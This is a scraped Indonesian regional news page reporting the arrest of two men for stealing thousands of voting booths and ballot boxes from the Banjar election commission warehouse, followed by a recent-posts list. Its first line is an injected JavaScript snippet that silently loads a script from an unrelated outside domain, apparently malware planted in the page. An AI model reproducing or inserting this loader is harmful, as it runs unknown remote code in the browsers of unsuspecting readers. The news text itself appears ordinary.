(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

3.088 Bilik dan 1.823 Kotak Suara KPU Banjar Dicuri


MARTAPURA, Unit Gabungan Polres Banjar dan Polres Banjarbaru, Polsek Martapura Kota berhasil meringkus dua pelaku pencurian kota suara dan bilik suara milik KPU Kabupaten Banjar, Jumat (6/7) sekitar pukul 19.00 wita

Kedua tersangka tersebut yaitu Fahrudi (26) warga Jalan Mentri 4 Gang Setia Abadi dan Muhammad Jaini (28) warga Jalan Mufakat Kecamatan Martapura, Kabupaten Banjar.

Pencurian terjadi beberapa jam sebelum ditangkapnya kedua tersangka, tepatnya sekitar pukul 14.49 Wita. Sebanyak 3.088 buah bilik suara dan 1823 buah kotak suara milik KPU Banjar ludes dicuri dua tersangka. Dua macam barang milik negara tersebut sebelumnya disimpan di ruko PPS Sekumpul No I dan II G sebagai gudang KPU Kabupaten Banjar.

Kapolres Banjar Takdir Mattanette SH SIK MH melalui Kapolsek Martapura Kota Iptu Siswadi SH mengungkapkan, hasil olah TKP diduga para pelaku masuk ke dalam Ruko dengan cara merusak gembok pintu Ruko.

“Diduga kuat para pelaku masuk dengan merusak gembok Ruko tempat disimpannya bilik suara dan kotak suara tersebut,” ungkapnya

Atas kejadian tersebut pihak KPU Banjar mengalami kerugian sebesar Rp 139.740.000,- dan melaporkan peristiwa tersebut ke Polsek Martapura Kota. Menanggapi laporan tersebut dengan cepat Unit Gabungan yang terdiri dari Unit Resmob Polres Banjar Unit Resmob Polres Banjarbaru dan Unit Reskrim Martapura Kota melakukan penyelidikan.

Unit Gabungan berhasil meringkus kedua tersangka, dalam penangkapan tersebut pihak Kepolisian berhasil mengamankan barang bukti berupa 1 buah truk warna putih sebagai sarana dan kurang lebih 4 ton bilik dan kotak suara.

“Untuk barang bukti yang berhasil diamankan satu unit truk yang digunakan saat melakukan aksi pencurian dan kurang lebih 4 ton bilik dan kotak suara,”  kata Iptu Siswadi

Dari informasi yang didapat Kanal Kalimantan, selain menagamankan kedua pelaku pencuri tersebut, pihak kepolisian juga telah mengamankan beberapa pelaku yang berperan sebagai penadah barang curian tersebut, diketahui ada 3 orang.

Saat ini ini pihak kepolisian masih mengejar 2 tersangka lainnya  (DPO) yang turut seta dalam aksi pencurian ini dan pencarian barang bukti. (rico)

Reporter: Rico
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

2 menit ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

2 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

4 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

6 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

7 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

7 jam ago

This website uses cookies.